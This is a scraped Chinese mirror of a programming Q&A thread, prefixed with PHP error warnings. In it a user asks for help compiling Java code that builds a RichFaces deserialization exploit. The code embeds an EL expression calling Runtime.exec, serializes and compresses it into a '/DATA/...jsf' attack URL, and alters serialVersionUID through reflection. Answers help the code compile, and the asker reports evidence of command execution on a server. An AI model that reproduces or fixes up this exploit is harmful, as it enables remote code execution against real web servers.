Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/java/390.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
编译时获取错误消息(Java Web项目)_Java_Compiler Errors_Compilation_Eclipse Jee - Fatal编程技术网

编译时获取错误消息(Java Web项目)

编译时获取错误消息(Java Web项目),java,compiler-errors,compilation,eclipse-jee,Java,Compiler Errors,Compilation,Eclipse Jee,我已经尝试编译这个java程序一个多星期了,但没有成功。我目前正在尝试在Windows 10 x64环境下在Eclipse中编译以下项目: public class Main { public static void main(String[] args) throws Exception{ String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\")

我已经尝试编译这个java程序一个多星期了,但没有成功。我目前正在尝试在Windows 10 x64环境下在Eclipse中编译以下项目:

public  class  Main  {

    public static void main(String[] args) throws Exception{

        String pocEL = "#{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch /tmp/aaaaa\")}";
        // tomcat8.5.24 MethodExpression serialVersionUID
        Long MethodExpressionSerialVersionUID = 8163925562047324656L;
        Class clazz = Class.forName("javax.el.MethodExpression");
        Field field = clazz.getField("serialVersionUID");
        field.setAccessible(true);
        Field modifiersField = Field.class.getDeclaredField("modifiers");
        modifiersField.setAccessible(true);
        modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
        field.setLong(null, MethodExpressionSerialVersionUID);

        // createContent
        MethodExpressionImpl mei = new MethodExpressionImpl(pocEL, null, null, null, null, new Class[]{OutputStream.class, Object.class});
        ValueExpressionImpl vei = new ValueExpressionImpl(pocEL, null, null, null, MethodExpression.class);
        StateMethodExpressionWrapper smew = new StateMethodExpressionWrapper(mei, vei);
        Location location = new Location("/richfaces/mediaOutput/examples/jpegSample.xhtml", 0, 0);
        TagAttribute tagAttribute = new TagAttribute(location, "", "", "@11214", "createContent="+pocEL);
        TagMethodExpression tagMethodExpression = new TagMethodExpression(tagAttribute, smew);

        Class<?> cls = Class.forName("javax.faces.component.StateHolderSaver");
        Constructor<?> ct = cls.getDeclaredConstructor(FacesContext.class, Object.class);
        ct.setAccessible(true);
        Object createContnet = ct.newInstance(null, tagMethodExpression);

        //value
        Object value = "haveTest";

        //modified
        TagAttribute tag = new TagAttribute(location, "", "", "just", "modified="+pocEL);
        ValueExpressionImpl ve = new ValueExpressionImpl(pocEL+" modified", null, null, null, Date.class);
        TagValueExpression tagValueExpression = new TagValueExpression(tag, ve);
        Object modified = ct.newInstance(null, tagValueExpression);

        //expires
        TagAttribute tag2 = new TagAttribute(location, "", "", "have_fun", "expires="+pocEL);
        ValueExpressionImpl ve2 = new ValueExpressionImpl(pocEL+" expires", null, null, null, Date.class);
        TagValueExpression tagValueExpression2 = new TagValueExpression(tag2, ve2);
        Object expires = ct.newInstance(null, tagValueExpression2);

        //payload object
        UserResource.UriData uriData = new UserResource.UriData();
        //Constructor con = UserResource.class.getConstructor(new Class[]{});
        Field fieldCreateContent = uriData.getClass().getDeclaredField("createContent");
        fieldCreateContent.setAccessible(true);
        fieldCreateContent.set(uriData, createContnet);
        Field fieldValue = uriData.getClass().getDeclaredField("value");
        fieldValue.setAccessible(true);
        fieldValue.set(uriData, value);
        Field fieldModefied = uriData.getClass().getDeclaredField("modified");
        fieldModefied.setAccessible(true);
        fieldModefied.set(uriData, modified);
        Field fieldExpires = uriData.getClass().getDeclaredField("expires");
        fieldExpires.setAccessible(true);
        fieldExpires.set(uriData, expires);


        //encrypt
        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
        ObjectOutputStream objectOutputStream = new ObjectOutputStream(byteArrayOutputStream);
        objectOutputStream.writeObject(uriData);
        objectOutputStream.flush();
        objectOutputStream.close();
        byteArrayOutputStream.close();
        byte[] pocData = byteArrayOutputStream.toByteArray();
        Deflater compressor = new Deflater(1);
        byte[] compressed = new byte[pocData.length + 100];
        compressor.setInput(pocData);
        compressor.finish();
        int totalOut = compressor.deflate(compressed);
        byte[] zipsrc = new byte[totalOut];
        System.arraycopy(compressed, 0, zipsrc, 0, totalOut);
        compressor.end();
        byte[] dataArray = URL64Codec.encodeBase64(zipsrc);

        String poc = "/DATA/" + new String(dataArray, "ISO-8859-1") + ".jsf";
        System.out.println(poc);
    }
}
如果有帮助的话,我还可以在家里访问另一台在64位环境下运行Ubuntu 14.04的计算机,如果这可能更容易排除故障或添加插件的话


任何帮助都将不胜感激。只要我能够编译并从这个Java程序中获得有效的输出,就可以随意进行任何修改和/或建议。谢谢。

只要把所有的c..p:

    //Class clazz = Class.forName("javax.el.MethodExpression");
    //Field field = clazz.getField("serialVersionUID");
    //field.setAccessible(true);
    //Field modifiersField = Field.class.getDeclaredField("modifiers");
    //modifiersField.setAccessible(true);
    //modifiersField.setInt(field, field.getModifiers() & ~Modifier.FINAL);
    //field.setLong(null, MethodExpressionSerialVersionUID);

顺便说一句,如果你不得不破解你的库来使用私有组件,那就意味着你做错了。。。(99.9%的情况下)

在类中找不到SerialVersionId字段。只是一个想法,也许它需要一个实例? 尝试以下方法:

Class clazz = Class.forName("javax.el.MethodExpression");
Object obj = clazz.newInstance();
MethodExpression me = (MethodExpression) obj;
Field field = me.getField("serialVersionUID");

在上面的修改之后,我得到了以下结果:线程“main”java.lang中出现异常。错误:未解决的编译问题:main.main(main.java:32)处的MethodExpression类型的方法getField(String)未定义!因此,我能够根据您的建议生成有效负载。现在,当我将有效负载包括在:中时,我得到:org.jboss.util.NestedRuntimeException:UnparseableDate:“java.lang”。UNIXProcess@34074427改性“;-嵌套的throwable:(java.text.ParseException:不可解析的日期:“java.lang”。UNIXProcess@34074427我相信这一行:stringpoc=“/DATA/”+新字符串(dataArray,“ISO-8859-1”)+“.jsf”;需要稍加修改。我尝试将“ISO-8859-1”更改为“UTF-8”,然后在错误消息msg:org.jboss.util.NestedRuntimeException:Unparseable date:“java.lang”中获得一点差异。UNIXProcess@1e4ab536改性“;-嵌套的throwable:(java.text.ParseException:不可解析的日期:“java.lang”。UNIXProcess@1e4ab536修改的“)
Class clazz = Class.forName("javax.el.MethodExpression");
Object obj = clazz.newInstance();
MethodExpression me = (MethodExpression) obj;
Field field = me.getField("serialVersionUID");